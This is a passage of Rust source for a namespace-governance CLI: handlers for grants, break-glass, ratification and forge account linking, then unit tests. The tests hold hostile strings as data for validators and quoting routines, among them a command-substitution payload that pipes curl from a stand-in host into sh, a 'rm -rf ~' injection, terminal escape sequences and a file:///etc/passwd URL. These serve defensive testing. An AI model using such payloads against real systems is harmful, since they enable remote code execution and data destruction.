ns["state"].as_str().unwrap_or_default(),
ns["admins"].as_array().map_or(0, Vec::len),
ns["repoCount"],
if ns["headless"] == true {
" [HEADLESS: no admin]"
} else {
""
},
);
}
Ok(())
}
},
GitCommands::Grant {
subject,
right,
resource,
expires_in,
reason,
} => {
let subject = did_arg("--subject", &subject)?;
let (did, key) = signing_key(keyring_key)?;
let mut payload = json!({
"subject": subject,
"right": right.as_str(),
"resource": resource.to_lowercase(),
});
if let Some(d) = expires_in {
let secs = parse_duration_secs(&d)?;
let at = chrono::Utc::now() + chrono::Duration::seconds(secs as i64);
payload["expiresAt"] = json!(at.to_rfc3339_opts(chrono::SecondsFormat::Secs, true));
}
if let Some(r) = reason {
payload["reason"] = json!(r);
}
let payload: specs::right::grant::v0_3::Payload = serde_json::from_value(payload)
.map_err(|e| format!("that grant is not well formed: {e}"))?;
let v = send_change(
client,
&target.base,
vtc_client::git_ns::GIT_NS_GRANT_TYPE,
&payload,
&did,
&key,
)
.await?;
show(&v)
}
GitCommands::Revoke {
subject,
right,
resource,
reason,
} => {
let subject = did_arg("--subject", &subject)?;
let (did, key) = signing_key(keyring_key)?;
let mut payload = json!({
"subject": subject,
"right": right.as_str(),
"resource": resource.to_lowercase(),
});
if let Some(r) = reason {
payload["reason"] = json!(r);
}
let payload: specs::right::revoke::v0_3::Payload = serde_json::from_value(payload)
.map_err(|e| format!("that revocation is not well formed: {e}"))?;
let resp = client
.git_ns_revoke(&payload, &key)
.await
.map_err(|e| explain(e, &did))?;
show(&resp)
}
GitCommands::Create {
namespace,
name,
visibility,
description,
owners,
} => {
for o in &owners {
did_arg("--owner", o)?;
}
let (did, key) = signing_key(keyring_key)?;
let mut payload = json!({
"namespace": namespace,
"name": name.to_lowercase(),
"visibility": match visibility {
VisibilityArg::Public => "public",
VisibilityArg::Private => "private",
},
});
if let Some(d) = description {
payload["description"] = json!(d);
}
if !owners.is_empty() {
payload["owners"] = json!(owners);
}
let payload: specs::repo::create::v0_3::Payload = serde_json::from_value(payload)
.map_err(|e| format!("that repository is not well formed: {e}"))?;
let v = send_change(
client,
&target.base,
vtc_client::git_ns::GIT_NS_REPO_CREATE_TYPE,
&payload,
&did,
&key,
)
.await?;
if is_json_output() {
return Ok(print_json(&v)?);
}
println!(
"{BOLD}{}{RESET} — {}",
v["repo"]["resource"].as_str().unwrap_or_default(),
v["repo"]["state"].as_str().unwrap_or_default()
);
for (i, step) in v["manualSteps"]
.as_array()
.into_iter()
.flatten()
.enumerate()
{
println!(" {}. {}", i + 1, step.as_str().unwrap_or_default());
}
Ok(())
}
GitCommands::Transfer { resource, to } => {
let to = did_arg("--to", &to)?;
let (did, key) = signing_key(keyring_key)?;
let resp = client
.git_ns_transfer(&resource.to_lowercase(), &to, &key)
.await
.map_err(|e| explain(e, &did))?;
show(&resp)
}
GitCommands::Archive { resource } => {
let (did, key) = signing_key(keyring_key)?;
let resp = client
.git_ns_archive(&resource.to_lowercase(), &key)
.await
.map_err(|e| explain(e, &did))?;
show(&resp)
}
GitCommands::Repos { namespace } => {
let (did, key) = signing_key(keyring_key)?;
let v = client
.git_ns_repo_list(namespace.as_deref(), &key)
.await
.map_err(|e| explain(e, &did))?;
if is_json_output() {
return Ok(print_json(&v)?);
}
let repos = v["repos"].as_array().cloned().unwrap_or_default();
if repos.is_empty() {
println!("No repositories.");
}
for r in &repos {
println!(
"{BOLD}{}{RESET} {} owners: {} sync: {}",
terminal_safe(r["resource"].as_str().unwrap_or_default()),
r["state"].as_str().unwrap_or_default(),
r["owners"].as_array().map_or(0, Vec::len),
r["syncState"].as_str().unwrap_or_default(),
);
}
Ok(())
}
GitCommands::BreakGlassList { resource } => {
let (did, key) = signing_key(keyring_key)?;
let resp = client
.git_ns_view_v5(
resource.map(|r| r.to_lowercase()).as_deref(),
true,
true,
&key,
)
.await
.map_err(|e| explain(e, &did))?;
let v = serde_json::to_value(&resp)?;
let items = break_glass_items(&v, chrono::Utc::now());
if is_json_output() {
return Ok(print_json(&json!({ "items": items }))?);
}
if items.is_empty() {
println!("No break-glass records.");
}
for it in &items {
println!(
"{BOLD}{}{RESET} {} {} {} — {}",
terminal_safe(it["state"].as_str().unwrap_or_default()),
terminal_safe(it["resource"].as_str().unwrap_or_default()),
terminal_safe(it["right"].as_str().unwrap_or_default()),
terminal_safe(it["subject"].as_str().unwrap_or_default()),
terminal_safe(
it.pointer("/breakGlass/justification")
.and_then(Value::as_str)
.unwrap_or_default()
),
);
if it["state"] != "ratified" {
println!(" ratify: {}", ratify_command(it));
println!(
" revoke: {} git revoke --subject {} --right {} --resource {}",
shell_word(bin_name()),
shell_word(it["subject"].as_str().unwrap_or_default()),
shell_word(it["right"].as_str().unwrap_or_default()),
shell_word(it["resource"].as_str().unwrap_or_default()),
);
}
}
Ok(())
}
GitCommands::Adopt { resource, owners } => {
for o in &owners {
did_arg("--owner", o)?;
}
let (did, key) = signing_key(keyring_key)?;
let payload = json!({ "resource": resource.to_lowercase(), "owners": owners });
let v = send_change(
client,
&target.base,
vtc_client::git_ns::GIT_NS_REPO_ADOPT_TYPE,
&payload,
&did,
&key,
)
.await?;
show(&v)
}
GitCommands::View { resource, admin } => {
let (did, key) = signing_key(keyring_key)?;
let resp = client
.git_ns_view_v5(resource.as_deref(), admin, false, &key)
.await
.map_err(|e| explain(e, &did))?;
let v = serde_json::to_value(&resp)?;
if is_json_output() {
return Ok(print_json(&v)?);
}
let rights = v["rights"].as_array().cloned().unwrap_or_default();
let unratified: Vec<&Value> = rights
.iter()
.filter(|r| {
r.get("breakGlass")
.is_some_and(|b| b.get("ratifiedBy").is_none())
&& r["subject"].as_str() != Some(did.as_str())
})
.collect();
if !unratified.is_empty() {
println!(
"{BOLD}{} break-glass grant(s) await ratification or revocation:{RESET}",
unratified.len()
);
for r in &unratified {
println!(
" {} holds {} on {} — {}\n ratify: {}",
terminal_safe(r["subject"].as_str().unwrap_or_default()),
terminal_safe(r["right"].as_str().unwrap_or_default()),
terminal_safe(r["resource"].as_str().unwrap_or_default()),
terminal_safe(
r.pointer("/breakGlass/justification")
.and_then(Value::as_str)
.unwrap_or_default()
),
ratify_command(r),
);
}
println!();
}
for ns in v["namespaces"].as_array().into_iter().flatten() {
println!(
"{BOLD}{}/{}{RESET} {} {} {}",
terminal_safe(ns["forge"].as_str().unwrap_or_default()),
terminal_safe(ns["owner"].as_str().unwrap_or_default()),
terminal_safe(ns["id"].as_str().unwrap_or_default()),
ns["mode"].as_str().unwrap_or_default(),
ns["state"].as_str().unwrap_or_default(),
);
}
for r in &rights {
println!(
" {} {} {}{}",
terminal_safe(r["resource"].as_str().unwrap_or_default()),
terminal_safe(r["right"].as_str().unwrap_or_default()),
terminal_safe(r["subject"].as_str().unwrap_or_default()),
break_glass_flag(r),
);
}
for a in v["accounts"].as_array().into_iter().flatten() {
println!(
" linked: {} {} ({})",
terminal_safe(
a.pointer("/account/forge")
.and_then(Value::as_str)
.unwrap_or_default()
),
terminal_safe(
a.pointer("/account/login")
.and_then(Value::as_str)
.unwrap_or_default()
),
terminal_safe(
a.pointer("/account/id")
.and_then(Value::as_str)
.unwrap_or_default()
),
);
}
Ok(())
}
GitCommands::EnrolStepUpPasskey { invite } => {
let (did, key) = signing_key(keyring_key)?;
let token = invite_token(&invite)?;
let code = dialoguer::Password::new()
.with_prompt("Claim code (the administrator sent it separately)")
.interact()?;
let type_uri = vtc_client::git_ns::STEP_UP_PASSKEY_REDEEM_START_TYPE;
let payload = json!({ "token": token, "claimCode": code.trim() });
let doc = client.git_ns_sign(type_uri, &payload, &key).await?;
let started: Value = client
.git_ns_send_signed(type_uri, &doc)
.await
.map_err(|e| explain(e, &did))?;
if started["subject"].as_str() != Some(did.as_str()) {
return Err(
"the community answered for a different DID; nothing was enrolled".into(),
);
}
eprintln!(
"{BOLD}Open this in a browser to create the passkey{RESET} (within five \
minutes; the link is for you alone — do not share it):\n {}\n{DIM}It will \
answer only the step-ups this community asks of {did}, and always beside a \
document you sign here.{RESET}",
enrol_url(&target.base, &started)
);
Ok(())
}
GitCommands::BreakGlass {
resource,
right,
justification,
} => {
if !matches!(
right,
RightArg::NsAdmin | RightArg::RepoCreate | RightArg::RepoOwn
) {
return Err(format!(
"{} is not elevated: grant it to yourself with `{} git grant`",
right.as_str(),
shell_word(bin_name())
)
.into());
}
if justification.trim().is_empty() {
return Err("a break-glass needs a justification".into());
}
let (did, key) = signing_key(keyring_key)?;
let payload = json!({
"right": right.as_str(),
"resource": resource.to_lowercase(),
"justification": justification,
});
let payload: specs::right::break_glass::v0_1::Payload = serde_json::from_value(payload)
.map_err(|e| format!("that break-glass is not well formed: {e}"))?;
let type_uri = vtc_client::git_ns::GIT_NS_BREAK_GLASS_TYPE;
let doc = client.git_ns_sign(type_uri, &payload, &key).await?;
eprintln!(
"{DIM}Every community administrator and every admin of this namespace will be \
told, with your justification, and the grant stays flagged until one of \
them ratifies or revokes it.{RESET}"
);
let v = send_with_step_up(client, &target.base, type_uri, &doc, &did, &key).await?;
show(&v)
}
GitCommands::Ratify {
resource,
subject,
right,
break_glass_at,
statement,
} => {
let subject = did_arg("--subject", &subject)?;
let (did, key) = signing_key(keyring_key)?;
let mut payload = json!({
"subject": subject,
"right": right.as_str(),
"resource": resource.to_lowercase(),
"breakGlassAt": break_glass_at,
});
if let Some(s) = statement {
payload["statement"] = json!(s);
}
let payload: specs::right::ratify::v0_1::Payload = serde_json::from_value(payload)
.map_err(|e| format!("that ratification is not well formed: {e}"))?;
let resp = client
.git_ns_ratify(&payload, &key)
.await
.map_err(|e| explain(e, &did))?;
show(&resp)
}
GitCommands::Link {
forge,
list,
status,
no_wait,
} => {
let (did, key) = signing_key(keyring_key)?;
let json_mode = is_json_output();
if list {
let resp = client
.git_ns_view_v2(None, &key)
.await
.map_err(|e| explain(e, &did))?;
let accounts = serde_json::to_value(&resp)?["accounts"].take();
if json_mode {
return Ok(print_json(&json!({ "accounts": accounts }))?);
}
let lines = account_lines(&accounts);
if lines.is_empty() {
println!(
"No forge account is linked to {}. Link one:\n {} git link --forge <forge>",
terminal_safe(&did),
shell_word(bin_name())
);
}
for line in lines {
println!("{line}");
}
return Ok(());
}
let (link_id, deadline) = match (status, forge) {
(Some(id), _) => (id, None),
(None, Some(forge)) => {
let forge = forge.to_lowercase();
let v = serde_json::to_value(
client
.git_ns_link_account(&forge, &key)
.await
.map_err(|e| explain(e, &did))?,
)?;
let text = link_instructions(&forge, &v)?;
if no_wait && json_mode {
return Ok(print_json(&v)?);
}
if json_mode {
eprintln!("{text}");
} else {
println!("{text}");
}
if no_wait {
return Ok(());
}
let deadline = v
.get("expiresAt")
.and_then(Value::as_str)
.and_then(|t| chrono::DateTime::parse_from_rfc3339(t).ok())
.map(|t| t.with_timezone(&chrono::Utc));
let link_id = v
.get("linkId")
.and_then(Value::as_str)
.unwrap_or_default()
.to_string();
(link_id, deadline)
}
(None, None) => return Err("name the forge to link: --forge <host>".into()),
};
let v = if no_wait {
serde_json::to_value(
client
.git_ns_link_status(&link_id, &key)
.await
.map_err(|e| explain(e, &did))?,
)?
} else {
eprintln!(
"{DIM}Waiting for the forge to confirm (Ctrl-C stops waiting; the link \
continues){RESET}"
);
follow_link(client, &key, &did, &link_id, deadline).await?
};
finish_link(&mut std::io::stdout(), json_mode, &v, &did, &link_id)
}
GitCommands::Unlink { forge, account_id } => {
let (did, key) = signing_key(keyring_key)?;
let forge = forge.to_lowercase();
let account_id = match account_id {
Some(id) => id,
None => {
let resp = client.git_ns_view_v2(None, &key).await.map_err(|e| {
format!(
"{}\nIf you are no longer a current member you can still unlink, \
naming the account:\n {} git unlink --forge {} --account-id <id>",
explain(e, &did),
shell_word(bin_name()),
shell_word(&terminal_safe(&forge))
)
})?;
let accounts = serde_json::to_value(&resp)?["accounts"].take();
linked_account_id(&accounts, &forge).ok_or_else(|| {
format!(
"no account is linked to {} on {}. See what is linked:\n {} git \
link --list",
terminal_safe(&did),
terminal_safe(&forge),
shell_word(bin_name())
)
})?
}
};
let v = serde_json::to_value(
client
.git_ns_unlink_account(&forge, Some(&account_id), &key)
.await
.map_err(|e| explain(e, &did))?,
)?;
if is_json_output() {
return Ok(print_json(&v)?);
}
println!("{}", unlink_line(&v, &did));
Ok(())
}
GitCommands::Drift {
command:
DriftCommands::Resolve {
resource,
action,
kind,
account_id,
account_login,
observed,
subject,
reason,
},
} => {
let subject = subject
.map(|s| did_arg("--subject", s.trim()))
.transpose()?;
let (did, key) = signing_key(keyring_key)?;
let payload = drift_payload(
&resource,
action,
kind,
account_id,
account_login,
observed,
subject,
reason,
)?;
let payload: specs::drift::resolve::v0_3::Payload = serde_json::from_value(payload)
.map_err(|e| format!("that resolution is not well formed: {e}"))?;
let v = send_change(
client,
&target.base,
vtc_client::git_ns::GIT_NS_DRIFT_RESOLVE_V3_TYPE,
&payload,
&did,
&key,
)
.await?;
show(&v)
}
GitCommands::Reproject { resource, reason } => {
let (did, key) = signing_key(keyring_key)?;
let resp = client
.git_ns_reproject(&resource.to_lowercase(), reason.as_deref(), &key)
.await
.map_err(|e| explain(e, &did))?;
if is_json_output() {
return show(&resp);
}
if resp.repos.is_empty() {
println!("No active or orphaned repository in {resource}: nothing to re-project.");
} else {
println!(
"Queued a re-projection of {} repositor{}; the bridge applies its current \
role map:",
resp.repos.len(),
if resp.repos.len() == 1 { "y" } else { "ies" }
);
for r in &resp.repos {
println!(" {}", r.as_str());
}
}
Ok(())
}
GitCommands::Reseat {
namespace,
subject,
statement,
} => {
let subject = did_arg("--subject", &subject)?;
let (did, key) = signing_key(keyring_key)?;
let payload = json!({
"namespace": namespace,
"subject": subject,
"statement": statement,
});
let v = send_change(
client,
&target.base,
vtc_client::git_ns::RESEAT_TYPE_URI,
&payload,
&did,
&key,
)
.await?;
show(&v)
}
}
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn an_elevated_refusal_says_a_community_administrator_is_needed() {
let g = guidance(
"permissionDenied",
"repo.transfer is a elevated action … (`[git_ns] elevated_requires_admin`)",
"did:key:z",
);
assert!(g.contains("without a community administrator"), "{g}");
}
#[tokio::test]
async fn the_bind_notice_is_written_before_the_request_is_sent() {
use std::sync::atomic::{AtomicBool, Ordering};
struct Probe<'a> {
sent: &'a AtomicBool,
text: Vec<u8>,
}
impl std::io::Write for Probe<'_> {
fn write(&mut self, buf: &[u8]) -> std::io::Result<usize> {
assert!(
!self.sent.load(Ordering::SeqCst),
"the notice came after the request"
);
self.text.extend_from_slice(buf);
Ok(buf.len())
}
fn flush(&mut self) -> std::io::Result<()> {
Ok(())
}
}
let sent = AtomicBool::new(false);
let mut out = Probe {
sent: &sent,
text: Vec::new(),
};
announce_then(&mut out, &bind_notice("github.com", "acme"), async {
sent.store(true, Ordering::SeqCst)
})
.await;
assert!(sent.load(Ordering::SeqCst));
let text = String::from_utf8(out.text).unwrap();
assert!(text.contains("github.com/acme will be published"), "{text}");
}
#[test]
fn a_last_owner_refusal_names_the_grant_that_resolves_it() {
let g = guidance("git-ns:lastOwner", "last owner", "did:key:z");
assert!(g.contains("--right git.repo.own"), "{g}");
}
#[test]
fn drift_resolve_arguments_become_the_specifications_selector() {
const BOB: &str = "did:webvh:QmBobScid2:acme-vtc.example:bob";
let p = drift_payload(
"GitHub.com/Acme/Widgets",
DriftAction::Revert,
DriftTypeArg::RoleAdded,
Some("5550123".into()),
Some("eve-dev".into()),
Some("write".into()),
None,
None,
)
.unwrap();
assert_eq!(
p,
json!({
"resource": "github.com/acme/widgets",
"action": "revert",
"drift": {
"type": "roleAdded",
"account": { "forge": "github.com", "id": "5550123", "login": "eve-dev" },
"observed": "write"
}
})
);
let _: specs::drift::resolve::v0_3::Payload = serde_json::from_value(p).unwrap();
let p = drift_payload(
"github.com/acme/widgets",
DriftAction::Adopt,
DriftTypeArg::RoleAdded,
Some("9120045".into()),
Some("bob-builds".into()),
Some("maintain".into()),
Some(BOB.into()),
None,
)
.unwrap();
assert_eq!(p["subject"], json!(BOB));
assert_eq!(p["action"], "adopt");
let _: specs::drift::resolve::v0_3::Payload = serde_json::from_value(p).unwrap();
let err =
|action, kind, id: Option<&str>, observed: Option<&str>, subject: Option<&str>| {
drift_payload(
"github.com/a/b",
action,
kind,
id.map(str::to_string),
None,
observed.map(str::to_string),
subject.map(str::to_string),
None,
)
.is_err()
};
assert!(err(
DriftAction::Revert,
DriftTypeArg::RoleAdded,
None,
None,
None
));
assert!(err(
DriftAction::Revert,
DriftTypeArg::BootstrapMissing,
Some("1"),
None,
None
));
assert!(err(
DriftAction::Adopt,
DriftTypeArg::RoleChanged,
Some("1"),
None,
Some(BOB)
));
assert!(err(
DriftAction::Adopt,
DriftTypeArg::RoleAdded,
Some("1"),
Some("maintain"),
None
));
assert!(err(
DriftAction::Revert,
DriftTypeArg::RoleAdded,
Some("1"),
Some("write"),
Some(BOB)
));
}
#[test]
fn a_subject_changed_refusal_says_to_read_the_link_again() {
let g = guidance(
"git-ns/drift/resolve:subjectChanged",
"linked to another member",
"did:key:z",
);
assert!(g.contains("view --admin"), "{g}");
}
#[test]
fn a_not_revertible_refusal_explains_the_bridge_version() {
let g = guidance("git-ns/drift/resolve:notRevertible", "refused", "did:key:z");
assert!(g.contains("bridge/job 0.4"), "{g}");
}
#[test]
fn a_self_grant_refusal_gives_the_generic_separation_of_duties_help() {
let g = guidance("git-ns:selfGrantNotAllowed", "refused", "did:key:z");
assert!(
g.ends_with(
"\nThis would give you an elevated right (own, repo.create or ns.admin) on your \
own authority. Ask another community administrator to do it, or use break-glass \
(`cnm git break-glass`), which is audited and must be ratified. (A community set \
up in single-administrator mode waives this with your passkey gesture.)"
),
"{g}"
);
}
#[test]
fn the_single_administrator_waiver_is_announced_before_and_after_the_gesture() {
assert!(
single_admin_step_up_note(
"single-administrator mode: nobody else can grant git.repo.own on \
github.com/acme/gadgets, so recording it for yourself needs a passkey gesture"
)
.is_some_and(|n| n.contains("stands in for another"))
);
assert!(single_admin_step_up_note("a passkey gesture bound to this break-glass").is_none());
let answer = json!({
"repo": { "resource": "github.com/acme/gadgets" },
"ext": { "org.openvtc": { "selfGrantWaived": {
"mode": "singleAdministrator",
"requirement": "git-ns/right/grant/0.3#rule-7",
"right": "git.repo.own",
"resource": "github.com/acme/gadgets",
} } },
});
let note = self_grant_waived_note(&answer).unwrap();
assert!(
note.contains("Single-administrator waiver applied"),
"{note}"
);
assert!(
note.contains("git.repo.own on github.com/acme/gadgets"),
"{note}"
);
assert!(note.contains("Critical audit row"), "{note}");
assert!(self_grant_waived_note(&json!({ "repo": {} })).is_none());
let hostile = json!({ "ext": { "org.openvtc": { "selfGrantWaived": {
"right": "git.repo.own\u{1b}[2J", "resource": "x\u{202e}y",
} } } });
let note = self_grant_waived_note(&hostile).unwrap();
assert!(!note.contains('\u{202e}'), "{note:?}");
assert!(!note.contains("\u{1b}[2J"), "{note:?}");
}
#[test]
fn a_did_argument_that_is_not_did_core_is_refused_before_signing() {
for bad in [
"did:web:x.example$(curl${IFS}-s${IFS}evil.example|sh)",
"did:web:x;id",
"did:web:x y",
"did:web:x#k-1",
] {
assert!(did_arg("--subject", bad).is_err(), "{bad}");
}
assert!(did_arg("--subject", "did:webvh:QmScid:acme-vtc.example:bob").is_ok());
}
#[test]
fn printed_commands_quote_what_a_shell_would_interpret() {
assert_eq!(shell_word("cnm"), "cnm");
assert_eq!(
shell_word("did:webvh:QmScid:acme.example"),
"did:webvh:QmScid:acme.example"
);
assert_eq!(shell_word("a b"), "'a b'");
assert_eq!(shell_word("$(id)"), "'$(id)'");
assert_eq!(shell_word("it's"), r#"'it'"'"'s'"#);
assert_eq!(shell_word("'"), r#""'""#);
assert_eq!(shell_word("\\"), r#""\\""#);
assert_eq!(
shell_word(FISH_BREAKOUT),
r#"'x'"\\""'"' ; echo INJECTED ; echo '"\\""#
);
assert_eq!(shell_word(""), "''");
assert_eq!(shell_word("-x"), "'-x'");
assert_eq!(shell_word("=ls"), "'=ls'");
assert_eq!(shell_word("%self"), "'%self'");
assert_eq!(shell_word("a=b"), "a=b");
let g = guidance("git-ns:lastOwner", "evil\u{1b}[2Jmsg", "did:key:z\u{7}");
assert!(!g.chars().any(|c| c.is_control() && c != '\n'), "{g:?}");
let g = guidance("x\u{1b}]0;pwned\u{7}", "m", "did:key:z");
assert!(!g.chars().any(|c| c.is_control() && c != '\n'), "{g:?}");
}
const FISH_BREAKOUT: &str = r"x\' ; echo INJECTED ; echo \";
fn argv_in(shell: &str, words: &str, home: &std::path::Path) -> Option<Vec<String>> {
let mut child = match std::process::Command::new(shell)
.arg("-c")
.arg(format!(r"env printf '%s\0' {words}"))
.env_clear()
.env("PATH", std::env::var_os("PATH").unwrap_or_default())
.env("HOME", home)
.stdin(std::process::Stdio::null())
.stdout(std::process::Stdio::piped())
.stderr(std::process::Stdio::null())
.spawn()
{
Ok(child) => child,
Err(e) if e.kind() == std::io::ErrorKind::NotFound => return None,
Err(e) => panic!("{shell} is present but would not run: {e}"),
};
let mut stdout = child.stdout.take().expect("stdout is piped");
let (tx, rx) = std::sync::mpsc::channel();
std::thread::spawn(move || {
use std::io::Read;
let mut buf = Vec::new();
let _ = stdout.read_to_end(&mut buf);
let _ = tx.send(buf);
});
let out = match rx.recv_timeout(std::time::Duration::from_secs(20)) {
Ok(buf) => buf,
Err(_) => {
let _ = child.kill();
let _ = child.wait();
panic!(
"{shell} did not finish within 20s on {words:?} (hung, or the machine is overloaded)"
);
}
};
let status = child.wait().expect("wait after stdout closed");
assert!(status.success(), "{shell} failed on {words:?}");
let text = String::from_utf8(out).expect("utf-8");
let mut v: Vec<String> = text.split('\0').map(str::to_string).collect();
v.pop();
Some(v)
}
#[test]
fn printed_words_round_trip_in_sh_bash_zsh_and_fish() {
let hostile = [
FISH_BREAKOUT,
"it's",
"'",
r"\",
r"\\",
r"\'",
r"'\",
r"a\'b\\'c",
"$(echo INJECTED)",
"${HOME}",
"$fish_pid",
"`echo INJECTED`",
"(echo INJECTED)",
"line one\nline two\n",
"emoji \u{1f980} and \u{fc}n\u{ef}c\u{f6}d\u{e9}",
"-rf",
"--help",
"=ls",
"%self",
"~root",
"*",
"{a,b}",
"a;b|c&d>e<f",
"\"double\" quotes",
"#hash",
"",
" ",
"did:webvh:QmScid:acme.example",
];
let words = hostile
.iter()
.map(|v| shell_word(v))
.collect::<Vec<_>>()
.join(" ");
let home = tempfile::tempdir().expect("temp HOME for the shell round trip");
let mut ran = 0;
for shell in ["sh", "bash", "zsh", "fish"] {
let Some(argv) = argv_in(shell, &words, home.path()) else {
assert_ne!(shell, "sh", "sh must be runnable");
continue;
};
assert_eq!(argv, hostile, "{shell}");
ran += 1;
}
assert!(ran >= 1);
}
#[test]
fn drift_refusals_name_the_remedy_that_applies() {
let g = guidance(
"git-ns/drift/resolve:notAdoptable",
"`maintain` is no higher than what the member already holds",
"did:key:z",
);
assert!(g.contains("git revoke"), "{g}");
let g = guidance(
"git-ns/drift/resolve:notAdoptable",
"a `requiredCheckMissing` item records no right",
"did:key:z",
);
assert!(g.contains("revert --type"), "{g}");
let g = guidance(
"git-ns/drift/resolve:notRevertible",
"github.com/acme is governed in manual mode",
"did:key:z",
);
assert!(g.contains("on the forge yourself"), "{g}");
let g = guidance(
"git-ns/drift/resolve:notRevertible",
"that account belongs to a member the projection gives a role here",
"did:key:z",
);
assert!(g.contains("git revoke"), "{g}");
}
#[test]
fn link_instructions_show_the_code_and_how_to_follow_the_link() {
let device = json!({
"linkId": "lnk_4Tq9Xw2P",
"url": "https://github.com/login/device",
"userCode": "WDJB-MJHT",
"expiresAt": "2026-09-23T10:15:00Z",
});
let t = link_instructions("github.com", &device).unwrap();
assert!(t.contains("https://github.com/login/device"), "{t}");
assert!(t.contains("WDJB-MJHT"), "{t}");
assert!(t.contains("git link --status lnk_4Tq9Xw2P"), "{t}");
let pkce = json!({
"linkId": "lnk_8Rm3Kd7Q",
"url": "https://codeberg.org/login/oauth/authorize?client_id=acme-vgi&state=Zp4v",
"expiresAt": "2026-09-23T10:15:00Z",
});
let t = link_instructions("codeberg.org", &pkce).unwrap();
assert!(!t.contains("enter the code"), "{t}");
let hostile = json!({
"linkId": "lnk_1; rm -rf ~",
"url": "https://x.example/\u{1b}]0;pwned\u{7}",
"userCode": "AB\u{1b}[2J",
"expiresAt": "2026-09-23T10:15:00Z",
});
let t = link_instructions("github.com", &hostile).unwrap();
assert!(!t.contains('\u{7}') && !t.contains("\u{1b}]"), "{t:?}");
assert!(t.contains("--status 'lnk_1; rm -rf ~'"), "{t}");
}
#[test]
fn bidi_and_zero_width_characters_never_reach_the_terminal() {
for c in [
'\u{202A}',
'\u{202B}',
'\u{202C}',
'\u{202D}',
'\u{202E}',
'\u{2066}',
'\u{2067}',
'\u{2068}',
'\u{2069}',
'\u{200B}',
'\u{200C}',
'\u{200D}',
'\u{200E}',
'\u{200F}',
'\u{FEFF}',
'\u{00AD}',
'\u{2060}',
'\u{E0041}',
] {
assert_eq!(
terminal_safe(&format!("a{c}b")),
"a?b",
"U+{:04X}",
u32::from(c)
);
}
assert_eq!(terminal_safe("ünïcödé \u{1f980}"), "ünïcödé \u{1f980}");
let v = json!({
"linkId": "lnk_\u{202E}x",
"url": "https://github.com/login/device\u{202E}moc.live",
"userCode": "WD\u{2066}JB",
"expiresAt": "2026-09-23T10:15:00Z",
});
let t = link_instructions("github.com", &v).unwrap();
assert!(
!t.chars()
.any(|c| is_format_char(c) || (c.is_control() && c != '\n' && c != '\x1b')),
"{t:?}"
);
assert!(
t.contains("https://github.com/login/device%E2%80%AEmoc.live"),
"{t}"
);
let g = guidance("git-ns:lastOwner", "evil\u{202E}txt", "did:key:z");
assert!(!g.chars().any(is_format_char), "{g:?}");
}
#[test]
fn an_authorisation_url_that_is_not_https_is_refused_before_printing() {
for bad in [
"http://github.com/login/device",
"javascript:alert(1)",
"file:///etc/passwd",
"https://",
"https://user:pass@github.com/login/device",
"not a url",
"",
] {
let v = json!({ "linkId": "lnk_1", "url": bad, "expiresAt": "2026-09-23T10:15:00Z" });
let e = link_instructions("github.com", &v).unwrap_err();
assert!(e.contains("will not show"), "{bad}: {e}");
}
let v = json!({ "linkId": "lnk_1", "expiresAt": "2026-09-23T10:15:00Z" });
assert!(link_instructions("github.com", &v).is_err());
let v = json!({
"linkId": "lnk_1",
"url": "https://gÑ–thub.com/login/device",
"expiresAt": "2026-09-23T10:15:00Z",
});
let t = link_instructions("github.com", &v).unwrap();
assert!(t.contains("https://xn--"), "{t}");
}
#[test]
fn link_states_other_than_linked_are_errors_in_both_modes() {
let did = "did:webvh:QmBobScid2:acme-vtc.example:bob";
let linked = json!({
"state": "linked",
"account": { "forge": "github.com", "id": "9120045", "login": "bob-builds" },
});
for json_mode in [false, true] {
let mut out = Vec::new();
finish_link(&mut out, json_mode, &linked, did, "lnk_1").unwrap();
let text = String::from_utf8(out).unwrap();
if json_mode {
let back: Value = serde_json::from_str(&text).unwrap();
assert_eq!(back, linked);
} else {
assert!(
text.contains("bob-builds") && text.contains("9120045"),
"{text}"
);
}
for (state, hint) in [
("expired", "git link --forge"),
("failed", "git link --list"),
("pending", "git link --status lnk_1"),
("odd", "does not know"),
] {
let v = json!({ "state": state });
let mut out = Vec::new();
let e = finish_link(&mut out, json_mode, &v, did, "lnk_1")
.unwrap_err()
.to_string();
assert!(e.contains(hint), "{state}: {e}");
let text = String::from_utf8(out).unwrap();
if json_mode {
let back: Value = serde_json::from_str(&text)
.unwrap_or_else(|e| panic!("{state}: stdout is not JSON ({e}): {text}"));
assert_eq!(back, v);
} else {
assert!(text.is_empty(), "{state}: {text}");
}
}
}
}
#[test]
fn a_failed_link_names_both_causes() {
let LinkEnd::NotLinked(e) = link_end(&json!({ "state": "failed" }), "did:key:z", "l")
else {
panic!("failed is not linked");
};
assert!(e.contains("the forge refused it"), "{e}");
assert!(e.contains("already linked to another member"), "{e}");
}
async fn follow_states(
states: &[&str],
deadline: Option<chrono::DateTime<chrono::Utc>>,
start: chrono::DateTime<chrono::Utc>,
) -> (Value, usize) {
use std::cell::Cell;
let asks = Cell::new(0usize);
let clock = Cell::new(start);
let v = follow(
|| {
let i = asks.get();
asks.set(i + 1);
let state = states[i.min(states.len() - 1)];
async move { Ok(json!({ "state": state })) }
},
deadline,
|| clock.get(),
|| {
clock.set(clock.get() + chrono::Duration::seconds(5));
async {}
},
)
.await
.unwrap();
(v, asks.get())
}
#[tokio::test]
async fn following_a_link_stops_at_a_final_state_or_past_the_deadline() {
let t0 = chrono::DateTime::parse_from_rfc3339("2026-09-23T10:00:00Z")
.unwrap()
.with_timezone(&chrono::Utc);
let (v, asks) = follow_states(&["pending", "pending", "linked"], None, t0).await;
assert_eq!((v["state"].as_str(), asks), (Some("linked"), 3));
let (v, asks) = follow_states(&["failed"], Some(t0), t0).await;
assert_eq!((v["state"].as_str(), asks), (Some("failed"), 1));
let (v, asks) =
follow_states(&["pending"], Some(t0 + chrono::Duration::seconds(60)), t0).await;
assert_eq!(v["state"].as_str(), Some("pending"));
assert_eq!(asks, 20);
let (_, asks) =
follow_states(&["pending"], Some(t0 - chrono::Duration::hours(1)), t0).await;
assert_eq!(asks, 1);
}
#[test]
fn linked_accounts_are_listed_one_per_line() {
let accounts = json!([
{
"account": { "forge": "github.com", "id": "9120045", "login": "bob-builds" },
"linkedAt": "2026-09-23T10:02:14Z",
},
{
"account": { "forge": "codeberg.org", "id": "311", "login": "bob" },
"linkedAt": "2026-09-24T08:00:00Z",
},
]);
let lines = account_lines(&accounts);
assert_eq!(lines.len(), 2);
assert!(lines[0].contains("github.com") && lines[0].contains("bob-builds"));
assert!(lines[1].contains("codeberg.org") && lines[1].contains("311"));
